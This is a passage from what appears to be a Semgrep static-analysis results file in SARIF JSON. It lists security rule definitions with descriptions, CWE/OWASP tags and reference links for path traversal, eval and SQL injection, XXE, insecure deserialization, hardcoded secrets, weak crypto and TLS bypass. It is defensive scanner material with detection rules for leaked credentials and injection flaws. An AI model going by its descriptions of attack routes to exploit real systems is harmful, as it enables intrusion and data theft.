filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","id":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","name":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string","id":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","name":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval-format-string.user-eval-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"help":{"markdown":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)\n","text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","id":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","name":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"help":{"markdown":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","id":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","name":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","id":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","name":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"help":{"markdown":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder","id":"java.lang.security.audit.xml-decoder.xml-decoder","name":"java.lang.security.audit.xml-decoder.xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-decoder.xml-decoder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Onfido live API Token detected"},"help":{"markdown":"Onfido live API Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token)\n - [https://documentation.onfido.com/api/latest/#api-tokens](https://documentation.onfido.com/api/latest/#api-tokens)\n","text":"Onfido live API Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","id":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","name":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","id":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","name":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli","id":"java.spring.security.jpa-sqli.jpa-sqli","name":"java.spring.security.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"help":{"markdown":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","id":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","name":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate](https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"help":{"markdown":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected)\n - [https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping](https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping)\n - [https://jinja.palletsprojects.com/en/2.11.x/intro/#](https://jinja.palletsprojects.com/en/2.11.x/intro/#)\n","text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected","id":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","name":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.mako-templates-detected.mako-templates-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","id":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","name":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"help":{"markdown":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow)\n","text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos","id":"cpp.lang.security.strings.std-string-npos.std-string-npos","name":"cpp.lang.security.strings.std-string-npos.std-string-npos","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.std-string-npos.std-string-npos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.django.security.nan-injection.nan-injection","id":"python.django.security.nan-injection.nan-injection","name":"python.django.security.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a 